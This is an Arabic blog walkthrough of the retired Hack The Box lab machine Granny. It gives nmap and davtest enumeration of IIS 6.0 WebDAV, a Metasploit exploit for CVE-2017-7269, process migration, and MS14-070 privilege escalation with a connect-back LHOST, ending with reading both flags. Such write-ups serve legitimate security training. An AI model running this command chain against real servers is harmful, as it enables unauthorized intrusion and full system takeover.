اختراق صندوق الجدة (Granny) في Hack The Box: دليل شامل لاختبار الاختراق

دقائق القراءة: 8

تُعد منصة Hack The Box (HTB) بيئة تدريبية ممتازة تتيح للمهتمين بالأمن السيبراني صقل مهاراتهم في اختبار الاختراق. تحتوي المنصة على مجموعة واسعة من التحديات التي تُحدّث باستمرار، بعضها يحاكي سيناريوهات واقعية، بينما يميل البعض الآخر إلى أسلوب تحديات Capture The Flag (CTF). يركز هذا المقال على شرح تفصيلي لعملية اختراق آلة Granny، وهي إحدى الآلات المتقاعدة في HTB، مع الالتزام بقواعد المنصة التي تسمح بنشر شروحات الآلات المتقاعدة فقط.

شعار Hack The Box مع نص Keep Calm and Hack The Box

تتشابه آلة Granny مع آلة Grandpa في إمكانية استغلالها بعدة طرق مختلفة، أبرزها الثغرة الأمنية واسعة الانتشار CVE-2017-7269. تُعد هذه الثغرة سهلة الاستغلال وقد منحت وصولاً فورياً لآلاف خوادم IIS حول العالم عند الكشف عنها. في هذا الدليل، سنستخدم مجموعة من الأدوات المتوفرة على نظام Kali Linux لاختراق هذه الآلة، وهي:

  • nmap (Network Mapper)
  • Searchsploit
  • davtest
  • Metasploit
  • Local exploit suggester

لنبدأ بتجهيز بيئة العمل. أولاً، سنضيف اسم المضيف granny.htb مع عنوان IP الخاص به إلى ملف /etc/hosts:

nano /etc/hosts

ثم نضيف السطر التالي:

10.10.10.15 granny.htb

لقطة شاشة لملف etc hosts مع إضافة Granny HTB

الخطوة 1: الاستطلاع وجمع المعلومات (Reconnaissance)

تُعد مرحلة الاستطلاع وجمع المعلومات الخطوة الأولى والأكثر أهمية قبل محاولة استغلال أي نظام. كلما قضيت وقتاً أطول في هذه المرحلة، زادت فرصتك في اكتشاف نقاط ضعف قابلة للاستغلال. ستحدد المعلومات التي تجمعها المسار الذي ستتبعه لاحقاً.

فحص المنافذ باستخدام Nmap

سنستخدم أداة Nmap (Network Mapper)، وهي أداة مجانية ومفتوحة المصدر لاكتشاف الشبكات وتدقيق الأمن. تستخدم Nmap حزم IP الأولية لتحديد المضيفين المتاحين على الشبكة، والخدمات التي يقدمونها، وأنظمة التشغيل التي تعمل عليها، وأنواع جدران الحماية أو فلاتر الحزم المستخدمة، وعشرات الخصائص الأخرى. توجد العديد من الأوامر التي يمكنك استخدامها مع هذه الأداة لفحص الشبكة. لمزيد من المعلومات، يمكنك الرجوع إلى توثيق Nmap.

نتائج فحص Nmap المكثف لخادم Granny HTB

لإجراء فحص مكثف وشامل، سنستخدم الأمر التالي:

nmap -A -v granny.htb
  • -A: تفعيل اكتشاف نظام التشغيل، اكتشاف الإصدارات، فحص السكربتات، وتتبع المسار (traceroute).
  • -v: زيادة مستوى التفاصيل (verbosity).
  • granny.htb: اسم المضيف لآلة Granny.

إذا كانت النتائج تبدو معقدة جداً، يمكنك استخدام أمر أبسط للحصول على المنافذ المفتوحة فقط:

nmap granny.htb

نتائج فحص Nmap للمنافذ المفتوحة فقط على Granny HTB

من نتائج الفحص، نلاحظ وجود منفذ مفتوح واحد فقط:

  • المنفذ 80: يُستخدم غالباً لبروتوكول نقل النص التشعبي (HTTP).

كما يتضح من ترويسة الخادم http-server-header، فإن الخادم يعمل بنظام IIS 6.0. تُعد خدمات معلومات الإنترنت (IIS)، التي كانت تُعرف سابقاً باسم Internet Information Server، برنامج خادم ويب قابل للتوسيع أنشأته شركة Microsoft للاستخدام مع عائلة أنظمة Windows NT. لمزيد من المعلومات، يمكنك زيارة صفحة IIS الرسمية.

تم تضمين IIS 6.0 (الاسم الرمزي “Duct Tape“) مع Windows Server 2003 وWindows XP Professional x64 Edition، وأضاف دعماً لـ IPv6 وتضمن نموذج عملية عامل جديد زاد من الأمان والموثوقية. تم تقديم HTTP.sys في IIS 6.0 كمستمع بروتوكول خاص بـ HTTP لطلبات HTTP.

نلاحظ أيضاً من عنوان HTTP (http-title) أن الموقع “قيد الإنشاء” (under construction) وأن هناك فحص http-webdav-scan يظهر جميع الطرق المسموح بها.

فحص WebDAV

سنستخدم سكربت Nmap آخر للحصول على مزيد من المعلومات. يرسل هذا السكربت طلب OPTIONS يسرد نوع dav، ونوع الخادم، والتاريخ، والطرق المسموح بها. ثم يرسل طلب PROPFIND ويحاول جلب الدلائل المكشوفة وعناوين IP الداخلية عن طريق مطابقة الأنماط في نص الاستجابة:

nmap --script http-webdav-scan -p80 granny.htb

يمكنك العثور على مزيد من المعلومات حول هذا السكربت على موقع Nmap.

نتائج فحص Nmap لـ WebDAV على Granny HTB

WebDAV، أو Web Distributed Authoring and Versioning، هو امتداد لبروتوكول HTTP يسمح للعملاء بإجراء عمليات تأليف محتوى الويب عن بُعد. لمزيد من المعلومات، يمكنك زيارة صفحة WebDAV على ويكيبيديا. نلاحظ في قسم دعم الخادم أن Microsoft IIS يحتوي على وحدة WebDAV.

اختبار إمكانية رفع الملفات باستخدام davtest

سنستخدم أداة davtest للتحقق مما إذا كان بإمكاننا رفع الملفات إلى الخادم:

لقطة شاشة لأداة davtest

الأمر المستخدم هو:

davtest -url granny.htb

نتائج davtest تظهر عدم إمكانية رفع الملفات

يبدو أننا لا نستطيع رفع الملفات مباشرةً عبر WebDAV.

البحث عن الثغرات الأمنية باستخدام Searchsploit

سنستخدم أداة Searchsploit للبحث عن أي ثغرات أمنية معروفة في IIS 6.0. تُعد Searchsploit أداة بحث سطر أوامر لقاعدة بيانات Exploit Database.

شعار Searchsploit

نستخدم الأمر التالي للبحث:

searchsploit iis 6.0

نتائج Searchsploit لـ IIS 6.0

يمكننا الحصول على مزيد من التفاصيل حول الاستغلال باستخدام:

searchsploit -x 41738.py

تفاصيل استغلال 41738.py

يعتمد هذا الهجوم على سلسلة برمجة موجهة بالعودة (Return-oriented programming - ROP). تُعد ROP تقنية استغلال أمني تسمح للمهاجم بتنفيذ تعليمات برمجية في وجود دفاعات أمنية مثل حماية مساحة التنفيذ وتوقيع التعليمات البرمجية. يمكنك أيضاً التحقق من Exploit Database للعثور على الاستغلال.

صفحة البحث عن IIS 6.0 في Exploit Database

https://www.exploit-db.com/search?q=iis+6.0

صفحة تفاصيل الاستغلال 41738 في Exploit Database

https://www.exploit-db.com/exploits/41738

من المهم أيضاً التحقق من قواعد بيانات الثغرات الوطنية مثل National Vulnerability Database (NVD) وCommon Vulnerabilities and Exposure (CVE).

صفحة CVE-2017-7269 في NVD

https://nvd.nist.gov/vuln/detail/CVE-2017-7269

صفحة CVE-2017-7269 في CVEDetails
صفحة CVE-2017-7269 في CVEDetails

https://www.cvedetails.com/cve/CVE-2017-7269/

نلاحظ وجود وحدة Metasploit متاحة لهذه الثغرة:

وحدة Metasploit لـ CVE-2017-7269

https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl

الخطوة 2: زيارة الموقع واستغلال الثغرة

عند زيارة الموقع، لا نرى الكثير من المحتوى. ولكن من خلال وحدة تحكم المطورين (developer console)، يمكننا ملاحظة أنه مدعوم بإطار عمل ASP.NET.

وحدة تحكم المطورين تظهر ASP.NET

سنستخدم الآن Metasploit، وهو إطار عمل لاختبار الاختراق يسهل عمليات الهجوم. يُعد أداة أساسية للعديد من المهاجمين والمدافعين على حد سواء.

شعار Metasploit Framework

https://www.metasploit.com/

سنقوم بتشغيل إطار عمل Metasploit على Kali Linux والبحث عن الأمر المناسب لتشغيل الاستغلال.

واجهة Metasploit Framework

إذا استخدمنا الأمر searchsploit iis 6.0، فسنحصل على نفس الجدول الذي رأيناه سابقاً في الطرفية. ولكن إذا كتبنا search iis 6.0 داخل Metasploit، فسنحصل على 174 نتيجة.

نتائج البحث عن IIS 6.0 في Metasploit

الاستغلال الذي يهمنا هو الرقم 147 في هذه القائمة. للحصول على مزيد من المعلومات حول الاستغلال، يمكنك استخدام الأمر التالي:

info exploit/windows/iis/iis_webdav_scstoragepathfromurl

معلومات عن استغلال iis_webdav_scstoragepathfromurl في Metasploit

سنستخدم الأمر التالي لتحديد الاستغلال:

use exploit/windows/iis/iis_webdav_scstoragepathfromurl

قبل تشغيل الاستغلال، نحتاج إلى إعداد الخيارات. نتحقق من الخيارات المتاحة باستخدام:

show options

خيارات استغلال iis_webdav_scstoragepathfromurl

نقوم بتعيين المضيف الهدف (RHOSTS) باستخدام الأمر التالي:

set RHOSTS granny.htb

عند التحقق من الخيارات مرة أخرى، نجد أن RHOSTS قد تم تعيينه بنجاح:

خيارات الاستغلال بعد تعيين RHOSTS

نتحقق مما إذا كان الهدف قابلاً للاستغلال باستخدام:

check

ثم نشغل الاستغلال باستخدام الأمر:

exploit

تشغيل الاستغلال والحصول على جلسة Meterpreter

وبذلك نحصل على جلسة Meterpreter. وفقاً لـ Offensive Security، فإن Meterpreter هو حمولة متقدمة وقابلة للتوسيع ديناميكياً تستخدم حقن مكتبات DLL في الذاكرة وتتوسع عبر الشبكة في وقت التشغيل. تتواصل عبر مقبس المُرحّل وتوفر واجهة برمجة تطبيقات Ruby شاملة من جانب العميل. تتميز بسجل الأوامر، والإكمال التلقائي بالضغط على Tab، والقنوات، والمزيد. يمكنك قراءة المزيد حول Meterpreter هنا.

تجميع المعلومات ورفع الامتيازات الأولية

لنبدأ بجمع بعض المعلومات. يحاول الأمر getuid إرجاع معرف المستخدم الحقيقي للعملية التي يتم استدعاؤها. يبدو أن الجلسة التي حصلنا عليها لا تملك امتيازات كافية لتشغيل هذا الأمر، حيث يظهر “الوصول مرفوض” (Access is denied):

خطأ الوصول مرفوض عند استخدام getuid

عند حدوث ذلك، نقوم بسرد العمليات الجارية باستخدام:

ps

ونختار عملية تعمل تحت حساب NT AUTHORITY\NETWORK SERVICE:

قائمة العمليات الجارية في Meterpreter

سننتقل إلى العملية رقم 792 باستخدام:

migrate 792

ترحيل جلسة Meterpreter إلى عملية أخرى

الآن، عند التحقق من getuid، نحصل على:

Server username: NT AUTHORITY\NETWORK SERVICE

اسم المستخدم بعد ترحيل الجلسة

هذه هي الجلسة التي حصلنا عليها بعد الترحيل إلى عملية أخرى:

جلسة Meterpreter بعد الترحيل

نكتب الأمر التالي للحصول على واجهة سطر أوامر (shell) قياسية على النظام المستهدف:

shell

الحصول على واجهة سطر أوامر (shell) قياسية

نتحقق من هوية المستخدم على الجهاز باستخدام الأمر:

whoami

نتائج أمر whoami

نحصل على مزيد من المعلومات حول الجهاز باستخدام:

systeminfo

نتائج أمر systeminfo

نتنقل إلى الجذر C:\:

التنقل إلى C:\

ثم إلى مجلد Documents and Settings باستخدام:

cd "Documents and Settings"

التنقل إلى Documents and Settings

يمكننا رؤية مستخدمين اثنين: Administrator وLakis. نحاول التنقل إلى مجلد Lakis، ولكن يتم رفض الوصول. ينطبق الأمر نفسه على مجلد Administrator، وهو أمر متوقع لأننا لا نملك وصولاً جذرياً بعد.

رفض الوصول إلى مجلدات المستخدمين

نخرج من واجهة الأوامر (shell) باستخدام الأمر:

exit

الخروج من واجهة الأوامر

الخطوة 3: استخدام أداة Local Exploit Suggester

سنقوم الآن بتشغيل أداة local exploit suggester. تقترح هذه الأداة استغلالات محتملة بناءً على بنية النظام الأساسي الذي لدينا فيه واجهة أوامر (shell) مفتوحة، بالإضافة إلى الاستغلالات المتاحة في Meterpreter.

run post/multi/recon/local_exploit_suggester

تشغيل Local Exploit Suggester

سنستخدم الاستغلال MS14-070. للبحث عن مزيد من المعلومات حوله في Metasploit، نستخدم:

info exploit/windows/local/ms14_070_tcpip_ioctl

معلومات عن استغلال MS14-070 في Metasploit

وكذلك على موقع Rapid7:

صفحة MS14-070 على موقع Rapid7

https://www.rapid7.com/db/modules/exploit/windows/local/ms14_070_tcpip_ioctl

الخطوة 4: استخدام MS14-070 لرفع الامتيازات

سنضع هذه الجلسة في الخلفية باستخدام الأمر:

background

وضع الجلسة في الخلفية

ثم نشغل الأمر التالي لاستخدام الاستغلال الذي وجدناه:

use exploit/windows/local/ms14_070_tcpip_ioctl

تحديد استغلال MS14-070

بعد ذلك، نتحقق من خيارات هذا الاستغلال:

خيارات استغلال MS14-070

نقوم بتعيين الجلسة (SESSION) باستخدام:

set SESSION 1

تعيين رقم الجلسة

ثم نشغل الاستغلال باستخدام:

run

تشغيل استغلال MS14-070

لقد نجح الاستغلال، لكننا لم نحصل على واجهة أوامر (shell) جديدة. نتحقق من الخيارات مرة أخرى:

خيارات الاستغلال بعد التشغيل الأول

ونقوم بتعيين المضيف المحلي (LHOST) إلى عنوان IP الخاص بنا (مثلاً: 10.10.14.36):

set LHOST 10.10.14.36

تعيين LHOST

ثم نشغل الاستغلال مرة أخرى باستخدام:

exploit

تشغيل الاستغلال مرة أخرى

يؤكد هذا أن الاستغلال قد نجح، لكننا ما زلنا لا نحصل على واجهة أوامر جديدة. نتحقق من الجلسات باستخدام:

sessions -l

يجب أن نرى جلسة تعمل بامتيازات NT AUTHORITY\SYSTEM، وهو ليس الحال الآن.

قائمة الجلسات

لذا، نعود إلى الجلسة رقم 1 باستخدام:

sessions -i 1

العودة إلى الجلسة رقم 1

عند التحقق من getuid، نحصل على NT AUTHORITY\SYSTEM مجدداً. نحصل على واجهة أوامر (shell) قياسية على النظام المستهدف ونتحقق من هويتنا على الجهاز. نعود إلى NT AUTHORITY\NETWORK SERVICE، وهو ليس ما نريده! نخرج من هذه الواجهة ونتحقق من العمليات. يمكننا أن نرى أن لدينا وصولاً إدارياً على الجهاز. نحتاج فقط إلى الترحيل إلى عملية أخرى، وهو ما نفعله باستخدام:

migrate 408

ترحيل الجلسة إلى عملية جديدة

نعود إلى واجهة الأوامر القياسية على النظام المستهدف. وعند التحقق من هويتنا على الجهاز، نصبح أخيراً مسؤولين (admin)!

الخطوة 5: البحث عن علم المستخدم (user.txt)

نتنقل إلى مجلد Lakis من مجلد Documents and Settings. يمكننا سرد جميع الملفات/المجلدات باستخدام الأمر التالي:

dir

ثم ننتقل إلى مجلد Desktop:

التنقل إلى سطح مكتب Lakis

وهنا نجد علم المستخدم (user flag)! يمكننا التحقق من محتويات الملف باستخدام:

type user.txt

الخطوة 6: البحث عن علم الجذر (root.txt)

لنبحث عن علم الجذر الآن! ننتقل إلى مجلد Users ثم إلى مجلد Administrator / Desktop. ونجد العلم!

العثور على علم الجذر في سطح مكتب Administrator

نستخدم الأمر التالي لرؤية محتوى الملف:

type root.txt

عرض محتوى ملف root.txt

تهانينا! لقد عثرت على كلا العلمين بنجاح!

صورة توضيحية لآلة Granny في Hack The Box

الخلاصة التقنية

يمثل اختراق آلة Granny في Hack The Box سيناريو كلاسيكياً لاختبار الاختراق، حيث يعتمد بشكل أساسي على استغلال ثغرة CVE-2017-7269 في خوادم IIS 6.0 WebDAV. تُظهر هذه العملية أهمية مرحلة الاستطلاع الشامل باستخدام أدوات مثل Nmap لتحديد الخدمات ونقاط الضعف المحتملة. كما تبرز دور Metasploit كإطار عمل قوي لتنفيذ الاستغلالات ورفع الامتيازات، خاصة عند الحاجة إلى الترحيل بين العمليات للحصول على الامتيازات المطلوبة (من NETWORK SERVICE إلى SYSTEM). هذا التحدي يعزز فهمنا لكيفية استغلال الثغرات المعروفة في أنظمة التشغيل القديمة وضرورة تحديث الأنظمة بانتظام لسد الثغرات الأمنية.

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *